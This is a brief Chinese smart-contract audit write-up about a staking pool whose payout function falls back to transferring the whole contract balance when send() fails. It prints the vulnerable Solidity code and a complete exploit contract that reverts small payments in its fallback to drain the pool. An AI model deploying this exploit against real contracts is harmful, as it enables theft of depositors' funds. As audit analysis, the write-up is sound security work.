记审计过程遇到的奇葩转账

先看看源代码：

    function InStake() external payable{      
        uint256 MBNBPrice = 0;
        //当代币余额和合约中的eth都大于零，更新MBNB的价格
        if(this.totalSupply() > 0 && (address(this).balance).mul(10**18) > 0){
            MBNBPrice = (((address(this).balance).sub(msg.value)).mul(10**18))/this.totalSupply();
        }         
        uint256 payMBNB = 0;
        //当代币余额等于零，或者当前的MBNBPrice价格为零
        if(this.totalSupply() == 0 || MBNBPrice == 0){
            payMBNB = msg.value/minimumMBNBPrice;//计算可以购买的MBNB
        }else{
            payMBNB = msg.value/MBNBPrice;//当代币有余额和MBNBPrice有价格
        }
        if(payMBNB>0){
            payMBNB = payMBNB.mul(10**18);
        }
        _mint(msg.sender, payMBNB);
        // emit Withdraw(msg.sender, amount, burn);
    }

    function OutStake(uint256 MBNBAmount) external {
        require(MBNBAmount <= balanceOf(msg.sender), "Pool: Insufficient MBNB");      
        uint256 MBNBPrice = 0;
        if(this.totalSupply() > 0 && (address(this).balance).mul(10**18) > 0){
            MBNBPrice = (address(this).balance).mul(10**18)/this.totalSupply();
        }        
        uint256 payBNB = 0;
        if(this.totalSupply() == 0 || MBNBPrice == 0){
            payBNB = MBNBAmount * minimumMBNBPrice;
        }else{
            payBNB = MBNBAmount * MBNBPrice;
        }        
        if(payBNB>0){
            payBNB = payBNB.div(10**18);
        }        
        _burn(msg.sender, MBNBAmount);//销毁代币
        sendBNBDividends(msg.sender,payBNB);//发送eth
    }
    
    function sendBNBDividends(address receiver,uint amount ) private {
            if (!address(uint160(receiver)).send(amount)) {
                return address(uint160(receiver)).transfer(address(this).balance);
            }
    }  

在代码转账中先通过send去转账，如果不成功，则使用transfer把合约中的余额转给用户。我们知道合约可以写fallback来拒绝第一次转账，从而掏空合约中的余额。

exp:

pragma solidity ^0.6.0;

interface POOL{
    function InStake() external payable;
    function OutStake(uint256 MBNBAmount) external;
    function balanceOf(address account) external view returns (uint256);
}
contract exp{
    POOL pool;
    constructor(address _address)public{
        pool = POOL(_address); 
    }
    function hack() public payable{
        address(pool).call{value:0.1 ether}(abi.encodePacked(bytes4(keccak256("InStake()"))));
        pool.OutStake(pool.balanceOf(address(this)));
        msg.sender.transfer(address(this).balance);
    }

    fallback()payable external{
       if(msg.value <= 1 ether){
           revert();
       }
    }
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}